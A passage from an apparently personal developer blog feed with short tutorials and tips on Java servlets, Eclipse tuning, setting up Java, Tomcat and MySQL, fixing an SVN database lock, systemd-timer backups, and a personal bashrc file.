src=&quot;https://3.bp.blogspot.com/-qEdr4x6UbN0/WG9mBpyoSyI/AAAAAAAABpI/AYWz4-x7NOAQsdFG_Yy6vIxm2QqETVPrwCLcB/s640/servlet-container1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;NOTE : All Servlet Containers are Web Server. However, not all Web Server are Servlet Container. Apache HTTP Server is only a Web Server and it cannot run Java Servlet at all.&lt;br /&gt;&lt;br /&gt;Servlet Container can host many Java Servlets.&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://3.bp.blogspot.com/-bsTSTGVk3FA/WG9m7MF6mxI/AAAAAAAABpM/-hHLOYMGRt4rS1TGQb6jPR9XwTe3ZGN_wCLcB/s1600/overview.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;524&quot; src=&quot;https://3.bp.blogspot.com/-bsTSTGVk3FA/WG9m7MF6mxI/AAAAAAAABpM/-hHLOYMGRt4rS1TGQb6jPR9XwTe3ZGN_wCLcB/s640/overview.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;For normal Java Servlet, one Java Servlets are “mapped” to one specific URL/page. &lt;br /&gt;For example,&lt;br /&gt;When user open &lt;b&gt;www.ask.com/register.jsp&lt;/b&gt;, regServlet  is called.&lt;br /&gt;When user open &lt;b&gt;www.ask.com/logout.jsp&lt;/b&gt;, logoutServlet  is called.&lt;br /&gt;&lt;br /&gt;This is called Servlet Mapping and is done via Web Deployment Descriptor or using WebServlet annotation (see next)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;6. Web Deployment Descriptor (web.xml)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This is a XML file where Servlet Container finds out which Servlet are mapped to which URL/page.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://2.bp.blogspot.com/-pdiL8HoWkEQ/WG9yMlY-_jI/AAAAAAAABqA/H3Y2u5GAepYu_oEIucLZYdbHMUnSGp1qwCLcB/s1600/Screenshot%2Bfrom%2B2017-01-06%2B18-31-51.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;114&quot; src=&quot;https://2.bp.blogspot.com/-pdiL8HoWkEQ/WG9yMlY-_jI/AAAAAAAABqA/H3Y2u5GAepYu_oEIucLZYdbHMUnSGp1qwCLcB/s640/Screenshot%2Bfrom%2B2017-01-06%2B18-31-51.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;Example : web.xml&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://2.bp.blogspot.com/-buVk0llZZww/WG9t2RcjceI/AAAAAAAABpk/ujXkjigE9m87hNyIHJhbhwC0IpXLp1NMACLcB/s1600/Screenshot%2Bfrom%2B2017-01-06%2B18-13-24.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;334&quot; src=&quot;https://2.bp.blogspot.com/-buVk0llZZww/WG9t2RcjceI/AAAAAAAABpk/ujXkjigE9m87hNyIHJhbhwC0IpXLp1NMACLcB/s640/Screenshot%2Bfrom%2B2017-01-06%2B18-13-24.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;7. Servlet Annotation vs web.xml&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;‘&lt;span style=&quot;background-color: #eff0f1; color: #242729; font-family: &amp;quot;consolas&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;lucida console&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;dejavu sans mono&amp;quot; , &amp;quot;bitstream vera sans mono&amp;quot; , &amp;quot;courier new&amp;quot; , monospace , sans-serif; font-size: 13px; white-space: inherit;&quot;&gt;@WebServlet’&lt;/span&gt; annotation can be used to declare a servlet instead of web.xml (especially if you have many Servlets). This annotation is processed by the Servlet Container at deployment time, and the corresponding servlet made available at the specified URL patterns (value=URL Pattern).&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://1.bp.blogspot.com/-rC2VfgvTW6Q/WG9u1cr_HfI/AAAAAAAABps/6RnIvEO1-Vkp7zdHWInMR9AlRwXeJDhYwCLcB/s1600/Screenshot%2Bfrom%2B2017-01-06%2B18-17-46.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;302&quot; src=&quot;https://1.bp.blogspot.com/-rC2VfgvTW6Q/WG9u1cr_HfI/AAAAAAAABps/6RnIvEO1-Vkp7zdHWInMR9AlRwXeJDhYwCLcB/s640/Screenshot%2Bfrom%2B2017-01-06%2B18-17-46.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;8. Web Application Structure&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://1.bp.blogspot.com/-MWqBm6lf-sg/WG9vctGBhUI/AAAAAAAABpw/OBpXZ7A2KloWLAPI3ubd_PnSr5tVUFEFQCLcB/s1600/directory.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;640&quot; src=&quot;https://1.bp.blogspot.com/-MWqBm6lf-sg/WG9vctGBhUI/AAAAAAAABpw/OBpXZ7A2KloWLAPI3ubd_PnSr5tVUFEFQCLcB/s640/directory.JPG&quot; width=&quot;568&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Speed up Eclipse IDE</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/06/Speed-up-Eclipse-IDE/"/>
   <updated>2017-01-06T04:18:32+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/06/Speed-up-Eclipse-IDE</id>
   <content type="html">&lt;p&gt;Go to Window &amp;gt; Preferences :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;ol&amp;gt;&amp;lt;li&amp;gt;General &amp;gt; Startup and Shutdown : remove all plugins activated on startup&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;General &amp;gt; Editors &amp;gt; Text Editors &amp;gt; Spelling : Disable spell checking&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;General &amp;gt; Validation &amp;gt; Suspend all&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Install/Update &amp;gt; Automatic Updates &amp;gt; Uncheck “Automatically find new updates and notify me”&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;General &amp;gt; Appearance &amp;gt; Uncheck Enable Animations&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;Locate eclipse.ini file in Eclipse installation folder ($ECLIPSE_HOME) and put the following :&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;blockquote class=&quot;tr_bq&quot;&amp;gt;-startup&lt;br /&gt;plugins/org.eclipse.equinox.launcher_1.3.100.v20150511-1540.jar&lt;br /&gt;–launcher.library&lt;br /&gt;plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.300.v20150602-1417&lt;br /&gt;-product&lt;br /&gt;org.eclipse.epp.package.java.product&lt;br /&gt;–launcher.defaultAction&lt;br /&gt;openFile&lt;br /&gt;-showsplash&lt;br /&gt;org.eclipse.platform&lt;br /&gt;–launcher.defaultAction&lt;br /&gt;openFile&lt;br /&gt;–launcher.appendVmargs&lt;br /&gt;-vmargs&lt;br /&gt;-Dosgi.requiredJavaVersion=1.7&lt;br /&gt;-XX:+AggressiveOpts&lt;br /&gt;-XX:PermSize=512m&lt;br /&gt;-XX:MaxPermSize=512m&lt;br /&gt;-Xms2048m&lt;br /&gt;-Xmx2048m&lt;br /&gt;-Xmn512m&lt;br /&gt;-Xss2m&lt;br /&gt;-XX:+UseParallelOldGC&amp;lt;/blockquote&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Good place to start with MySQL</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/05/Good-place-to-start-with-MySQL/"/>
   <updated>2017-01-05T02:53:32+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/05/Good-place-to-start-with-MySQL</id>
   <content type="html">&lt;p&gt;&lt;a href=&quot;http://www.mysqltutorial.org/basic-mysql-tutorial.aspx&quot;&gt;http://www.mysqltutorial.org/basic-mysql-tutorial.aspx&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Setting up Java, Eclipse, MySQL and Tomcat in Windows for Java Web Developement</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/04/Setting-up-Java,-Eclipse,-MySQL-and-Tomcat-in-Windows-for-Java-Web-Developement/"/>
   <updated>2017-01-04T05:26:49+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/04/Setting-up-Java,-Eclipse,-MySQL-and-Tomcat-in-Windows-for-Java-Web-Developement</id>
   <content type="html">&lt;ol&gt;
  &lt;li&gt;Download Java Dev Kit (JDK, not JRE) from here : &lt;a href=&quot;http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html&quot;&gt;http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html&lt;/a&gt;&lt;br /&gt;Important : write down the installation folder. This is your JAVA_HOME variable.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Set Envinronment Variables for Java.&lt;br /&gt;Step 1 : Right Click on MyComputer and click on properties .&lt;br /&gt;Step 2 : Click on Advanced tab&lt;br /&gt;Step 3: Click on Environment Variables (bottom left)&lt;br /&gt;Step 4: At User Variable section (top), create a few variables as below. You need to enter the Variable name and then the value:&lt;br /&gt;    JAVA_HOME : C:\Program Files\Java\jdk1.8.0_112 (put your actual Java installation)&lt;br /&gt;    JDK_HOME  : %JAVA_HOME%&lt;br /&gt;    JRE_HOME  : %JAVA_HOME%\jre&lt;br /&gt;    CLASSPATH : .;%JAVA_HOME%\lib;%JAVA_HOME%\jre\lib&lt;br /&gt;&lt;br /&gt;Step 5: At System Variable section (bottom), find a variable named PATH or path and at the end of the value with the following;&lt;br /&gt;&lt;br /&gt;for Windows 8 and below;&lt;br /&gt;    C:\Program Files\Java\jdk1.8.0_112\bin (your actual Java installation and within bin folder)&lt;br /&gt;    Note the the semicolon at the front of the path.&lt;br /&gt;&lt;br /&gt;or for Windows 10, click New and add the above path.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Check if everything is OK. Run command line tool (press Windows + x or use search for “cmd”). Run java -version and javac -version which should show the version.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Install Eclipse (use this Eclipse Java EE version) : &lt;a href=&quot;http://www.eclipse.org/downloads/packages/eclipse-ide-java-ee-developers/neon2&quot;&gt;http://www.eclipse.org/downloads/packages/eclipse-ide-java-ee-developers/neon2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. Install Tomcat 8 : &lt;a href=&quot;http://www-eu.apache.org/dist/tomcat/tomcat-8/v8.5.9/bin/apache-tomcat-8.5.9.exe&quot;&gt;http://www-eu.apache.org/dist/tomcat/tomcat-8/v8.5.9/bin/apache-tomcat-8.5.9.exe&lt;/a&gt;&lt;br /&gt;Note : Write down the installation folder, the webapps folder. You may bookmark or create shortcut of the folder on your Desktop.&lt;br /&gt;&lt;br /&gt;Tomcat should be running afterwards. You may browse to http://localhost:8080 to check that your Tomcat is installed fine.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. Install MySQL server : &lt;a href=&quot;https://dev.mysql.com/downloads/file/?id=467606&quot;&gt;https://dev.mysql.com/downloads/file/?id=467606&lt;/a&gt;&lt;br /&gt;Click on the “No thanks, just start my download.”&lt;br /&gt;&lt;br /&gt;Once installed, run the MySQL installer. Select from the product list (click on + sign) the MySQL server and then execute.&lt;br /&gt;&lt;br /&gt;Upon configuration, setup password for root and another user login (if you want). Rename the service name to MYSQL and set it to auto run at startup. You may want to create log files for each of the logs i.e. error, general and slow query logs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>SVN sqlite database is locked error</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/12/16/SVN-sqlite-S5-database-is-locked-error/"/>
   <updated>2016-12-16T02:53:36+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/12/16/SVN-sqlite[S5]-database-is-locked-error</id>
   <content type="html">&lt;p&gt;Once in a while I get this error, happened due to network issue while a svn command is being executed but wasn’t able to finish. &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;svn: E200033: Another process is blocking the working copy database, or the underlying filesystem does not support file locking; if the working copy is on a network filesystem, make sure file locking has been enabled on the file server &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;svn: E200033: sqlite[S5]: database is locked &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;svn: E200042: Additional errors: &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;svn: E200033: sqlite[S5]: database is locked &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fix : &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;$ cd /my/repository/.svn &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;$ mv wc.db wc.db.old &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;$ sqlite3 wc.db.old &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;sqlite&amp;gt; .backup main wc.db&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;sqlite&amp;gt; .exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Afterwards, do a svn cleanup. Then, you’re good to go.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Creating automatic backup in Solus</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/10/10/Creating-automatic-backup-in-Solus/"/>
   <updated>2016-10-10T08:51:36+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/10/10/Creating-automatic-backup-in-Solus</id>
   <content type="html">&lt;p&gt;This morning I accidentally (well, I was not aware that I was not in the correct folder) all my project files today. &lt;br /&gt;&lt;br /&gt;Lesson learned - recovery for (rm -rf *) is almost impossible. &lt;br /&gt;&lt;br /&gt;The good thing is that I worked on the project over the weekend, so some stuff are still fresh in my mind.  But first, I am going to create back up and automate it for every 2 hours because I am paranoid like that. I am going to leave the backup on my desktop.&lt;br /&gt;&lt;br /&gt; In Solus, cron is not installed by default and they use systemd/Timers (https://wiki.archlinux.org/index.php/Systemd/Timers) instead for replacement. &lt;br /&gt;&lt;br /&gt;Create a file named as backup-workspace.service in /etc/systemd/system&lt;br /&gt;&lt;br /&gt;&amp;lt;pre&amp;gt;cd /etc/systemd/system&lt;br /&gt;sudo touch backup-workspace.service&lt;br /&gt;&amp;lt;/pre&amp;gt;Add in the following  using your favorite text editor:  &lt;br /&gt;&lt;br /&gt;&amp;lt;pre&amp;gt;# Systemd&lt;br /&gt;# Service (/etc/systemd/system/backup-workspace.service)&lt;br /&gt;[Unit]&lt;br /&gt;Description=automatically backup workspace &lt;br /&gt;&lt;br /&gt;[Service]&lt;br /&gt;ExecStart=tar -cvpzf /home/raf/Desktop/Workspace-backup.tar.gz /home/raf/Workspace &lt;br /&gt;&lt;br /&gt;# Timer (/etc/systemd/system/backup-workspace.timer)&lt;br /&gt;[Unit]&lt;br /&gt;Description=Runs backup-workspace service every hour&lt;br /&gt;&lt;br /&gt;[Timer]&lt;br /&gt;# Time to wait after booting before we run first time&lt;br /&gt;OnBootSec=1min&lt;br /&gt;# Time between running each consecutive time&lt;br /&gt;OnUnitActiveSec=1h&lt;br /&gt;Unit=backup-workspace.service&lt;br /&gt;&lt;br /&gt;[Install]&lt;br /&gt;WantedBy=multi-user.target&lt;br /&gt;&lt;br /&gt;I created an alias/shortcut key to do the backup manually too by editing my ~/.bashrc file.&lt;br /&gt;&lt;br /&gt;&amp;lt;pre&amp;gt;alias backup=”tar -cvpzf /home/raf/Desktop/Workspace-backup.tar.gz /home/raf/Workspace”&amp;lt;/pre&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/pre&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>My bashrc file (for reference)</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/30/My-bashrc-file-(for-reference)/"/>
   <updated>2016-09-30T11:34:52+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/30/My-bashrc-file-(for-reference)</id>
   <content type="html">&lt;pre&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;# reload other bash script file, if any&lt;br /&gt;source /usr/share/defaults/etc/profile&lt;br /&gt;&lt;br /&gt;# set PATH&lt;br /&gt;export PATH=$PATH:/usr/sbin:/usr/local/mysql/bin:.:/home/raf/Tools/gwt-2.7.0:/home/raf/Tools/apache-log4j-2.6.2-bin&lt;br /&gt;&lt;br /&gt;# other environment variables&lt;br /&gt;PROJECT_HOME=/home/raf/Workspace/trunk-umobile-work&lt;br /&gt;export PROJECT_HOME&lt;br /&gt;&lt;br /&gt;ANT_HOME=/opt/apache-ant-1.9.7&lt;br /&gt;export ANT_HOME&lt;br /&gt;&lt;br /&gt;GWT_23_HOME=/home/raf/Tools/gwt-2.3.0/gwt-2.3.0&lt;br /&gt;GWT_27_HOME=/home/raf/Tools/gwt-2.7.0&lt;br /&gt;GWT_HOME=${GWT_23_HOME}&lt;br /&gt;export GWT_HOME&lt;br /&gt;&lt;br /&gt;APACHE_HOME=/usr/local/apache/htdocs&lt;br /&gt;export APACHE_HOME&lt;br /&gt;&lt;br /&gt;MSYQL_HOME=/usr/local/mysql&lt;br /&gt;export MYSQL_HOME&lt;br /&gt;&lt;br /&gt;AXIS2_HOME=/home/raf/Tools/axis2-1.5.4&lt;br /&gt;export AXIS2_HOME&lt;br /&gt;&lt;br /&gt;JUNIT=/home/raf/Tools/eclipse/plugins/org.junit_4.12.0.v201504281640/junit.jar&lt;br /&gt;export JUNIT&lt;br /&gt;&lt;br /&gt;JAVA_7_HOME=/opt/jdk1.7.0_80&lt;br /&gt;JAVA_8_HOME=/usr/lib/jvm/java-8-openjdk-&lt;br /&gt;JAVA_HOME=${JAVA_7_HOME}&lt;br /&gt;export JAVA_HOME JAVA_7_HOME JAVA_8_HOME&lt;br /&gt;&lt;br /&gt;# to switch between java7 and java8&lt;br /&gt;alias java7=”sudo rm /usr/bin/java; sudo rm /usr/bin/javac; sudo ln -s /opt/jdk1.7.0_80/bin/java /usr/bin/java; sudo ln -s /opt/jdk1.7.0_80/bin/javac /usr/bin/javac; export JAVA_HOME=${JAVA_7_HOME}”&lt;br /&gt;alias java8=”sudo rm /usr/bin/java; sudo rm /usr/bin/javac; sudo ln -s /usr/lib/openjdk-8/bin/java /usr/bin/java; sudo ln -s /usr/lib/openjdk-8/bin/javac /usr/bin/javac; export JAVA_HOME=${JAVA_8_HOME}”&lt;br /&gt;&lt;br /&gt;TOMCAT_WEBAPPS=/home/raf/Tools/apache-tomcat-8.5.4/webapps&lt;br /&gt;export TOMCAT_WEBAPPS&lt;br /&gt;&lt;br /&gt;EDITOR=/opt/sublime_text/sublime_text&lt;br /&gt;export EDITOR&lt;br /&gt;&lt;br /&gt;# bash setting&lt;br /&gt;export HISTFILESIZE=3000    # the bash history should save 3000 commands&lt;br /&gt;export HISTCONTROL=ignoredups   #don’t put duplicate lines in the history.&lt;br /&gt;&lt;br /&gt;# define colours&lt;br /&gt;BLACK=’\e[0;30m’&lt;br /&gt;BLUE=’\e[0;34m’&lt;br /&gt;GREEN=’\e[0;32m’&lt;br /&gt;CYAN=’\e[0;36m’&lt;br /&gt;RED=’\e[0;31m’&lt;br /&gt;PURPLE=’\e[0;35m’&lt;br /&gt;BROWN=’\e[0;33m’&lt;br /&gt;LIGHTGRAY=’\e[0;37m’&lt;br /&gt;DARKGRAY=’\e[1;30m’&lt;br /&gt;LIGHTBLUE=’\e[1;34m’&lt;br /&gt;LIGHTGREEN=’\e[1;32m’&lt;br /&gt;LIGHTCYAN=’\e[1;36m’&lt;br /&gt;LIGHTRED=’\e[1;31m’&lt;br /&gt;LIGHTPURPLE=’\e[1;35m’&lt;br /&gt;YELLOW=’\e[1;33m’&lt;br /&gt;WHITE=’\e[1;37m’&lt;br /&gt;NC=’\e[0m’&lt;br /&gt;&lt;br /&gt;# check PID of current running process. Usage : ps java&lt;br /&gt;alias ps=”ps -awwef | grep “&lt;br /&gt;&lt;br /&gt;# frequently used directories for bookmarking purposes&lt;br /&gt;alias cdt=”cd /home/raf/Tools/apache-tomcat-8.5.4/webapps”&lt;br /&gt;alias cdw=”cd /home/raf/Workspace/”&lt;br /&gt;alias cdwu=”cd /home/raf/Workspace/trunk-umobile-work”&lt;br /&gt;alias cdp=”cd ~/Workspace/cpx/source/merchant_portal”&lt;br /&gt;&lt;br /&gt;# short forms command for other most used software&lt;br /&gt;alias apache-up=”sudo /usr/local/apache2/bin/apachectl restart; tail -f /usr/local/apache2/logs/error_log;”&lt;br /&gt;alias tomcat-up=”~/Tools/apache-tomcat-8.5.4/bin/catalina.sh start;”&lt;br /&gt;alias tomcat-log=”tail -f /home/raf/Tools/apache-tomcat-8.5.4/logs/catalina.out;”&lt;br /&gt;alias tomcat-clearlog=”rm /home/raf/Tools/apache-tomcat-8.5.4/logs/catalina.out; touch /home/raf/Tools/apache-tomcat-8.5.4/logs/catalina.out;”&lt;br /&gt;alias tomcat-clear=”rm -rfv /home/raf/Tools/apache-tomcat-8.5.4/work/Catalina/”&lt;br /&gt;alias sub=”/opt/sublime_text/sublime_text”&lt;br /&gt;alias nau=”nautilus “&lt;br /&gt;alias fire=”cd /home/raf/Tools/firefox-24; setsid ./firefox”&lt;br /&gt;&lt;br /&gt;# short forms command for favourite linux tools&lt;br /&gt;alias ..=”cd ..”&lt;br /&gt;alias …=”cd …“&lt;br /&gt;alias ls=”ls -lsaXB”    # sort by extension&lt;br /&gt;alias ls_size=’ls -lSar’ # sort by size&lt;br /&gt;alias cls=”clear”&lt;br /&gt;alias cl=”clear”&lt;br /&gt;alias sls=”clear”&lt;br /&gt;alias s;s=”clear”&lt;br /&gt;alias s:=”clear”&lt;br /&gt;alias ;s=”clear”&lt;br /&gt;alias hist=’history | grep $1’  # check previously executed command. Usage : hist tomcat&lt;em&gt;&lt;br /&gt;alias sc=’source ‘&lt;br /&gt;alias find_pattern=”grep -rnwl . -e “   # find file that contain pattern. Usage : find mytext&lt;br /&gt;alias find=”find “  # let it be here. Needed to fix bug betwen find_pattern and find_file&lt;br /&gt;alias find_file=”find -name “   # find file by file name. Usage : find_file mytext.txt&lt;br /&gt;&lt;br /&gt;# listing files within directory&lt;br /&gt;alias structure=”tree -P ‘&lt;/em&gt;.jar|&lt;em&gt;.java|&lt;/em&gt;.xml|&lt;em&gt;.html|&lt;/em&gt;.css’ | less “&lt;br /&gt;alias structure-nojar=”tree -P ‘&lt;em&gt;.java|&lt;/em&gt;.xml|&lt;em&gt;.html|&lt;/em&gt;.css’ | less “&lt;br /&gt;alias structure-nojava=”tree -P ‘&lt;em&gt;.xml|&lt;/em&gt;.html|&lt;em&gt;.css’ | less “&lt;br /&gt;&lt;br /&gt;# command line pre-fix&lt;br /&gt;export PS1=”pwd : ${LIGHTGREEN} \w\n${BLUE}\u${RED}:$ ${BLUE}”&lt;br /&gt;&lt;br /&gt;# show network info&lt;br /&gt;netinfo ()&lt;br /&gt;{&lt;br /&gt;    echo “————— Network Information —————“&lt;br /&gt;    /usr/bin/ifconfig | awk /’inet addr/ {print $2}’&lt;br /&gt;    /usr/bin/ifconfig | awk /’Bcast/ {print $3}’&lt;br /&gt;    /usr/bin/ifconfig | awk /’inet addr/ {print $4}’&lt;br /&gt;    /usr/bin/ifconfig | awk /’HWaddr/ {print $4,$5}’&lt;br /&gt;    echo “—————————————————“&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# enable programmable completion features&lt;br /&gt;if [ -f /etc/bash_completion ]; then&lt;br /&gt;    . /etc/bash_completion&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;# extract things . Usage : extract file.zip&lt;br /&gt;extract () {&lt;br /&gt;     if [ -f $1 ] ; then&lt;br /&gt;         case $1 in&lt;br /&gt;             &lt;/em&gt;.tar.bz2)   tar xjf $1        ;;&lt;br /&gt;             &lt;em&gt;.tar.gz)    tar xzf $1     ;;&lt;br /&gt;             &lt;/em&gt;.bz2)       bunzip2 $1       ;;&lt;br /&gt;             &lt;em&gt;.rar)       rar x $1     ;;&lt;br /&gt;             &lt;/em&gt;.gz)        gunzip $1     ;;&lt;br /&gt;             &lt;em&gt;.tar)       tar xf $1        ;;&lt;br /&gt;             &lt;/em&gt;.tbz2)      tar xjf $1      ;;&lt;br /&gt;             &lt;em&gt;.tgz)       tar xzf $1       ;;&lt;br /&gt;             &lt;/em&gt;.zip)       unzip $1     ;;&lt;br /&gt;             &lt;em&gt;.Z)         uncompress $1  ;;&lt;br /&gt;             &lt;/em&gt;.7z)        7z x $1    ;;&lt;br /&gt;             *)           echo “‘$1’ cannot be extracted via extract()” ;;&lt;br /&gt;         esac&lt;br /&gt;     else&lt;br /&gt;         echo “‘$1’ is not a valid file”&lt;br /&gt;     fi&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# WELCOME SCREEN&lt;br /&gt;################################################## #####&lt;br /&gt;&lt;br /&gt;clear&lt;br /&gt;&lt;br /&gt;echo -ne “${PURPLE}”;cal;&lt;br /&gt;. /etc/lsb-release&lt;br /&gt;echo -ne “${BROWN}Linux Kernel : $gras$(uname -r)$fin \n”       &lt;br /&gt;echo -ne “Distro       : $DISTRIB_ID $DISTRIB_RELEASE ($DISTRIB_CODENAME)$fin \n${BLACK}”&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Compiling and run java program in command line</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/28/Compiling-and-run-java-program-in-command-line/"/>
   <updated>2016-09-28T06:44:25+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/28/Compiling-and-run-java-program-in-command-line</id>
   <content type="html">&lt;ol&gt;
  &lt;li&gt;If your code is not in any package, then running the following command will compile and execute your java program just fine &lt;br /&gt;&lt;br /&gt;&amp;lt;pre&amp;gt;javac TheClassName.java&lt;br /&gt;java TheClassName&amp;lt;/pre&amp;gt;&lt;br /&gt;&lt;br /&gt; 2. However, if the class is in a package such as below : &lt;br /&gt;&lt;br /&gt;&amp;lt;pre&amp;gt;package thepackagename;&lt;br /&gt;&lt;br /&gt;public class TheClassName {&lt;br /&gt;    public static final void main(String[] args) {&lt;br /&gt;        System.out.println(“Hello World!”);&lt;br /&gt;    }&lt;br /&gt;}&amp;lt;/pre&amp;gt;&lt;br /&gt;Then calling the same command will give you the following results (or similar) :&lt;br /&gt;&lt;br /&gt;&amp;lt;pre&amp;gt;Error: Could not find or load main class 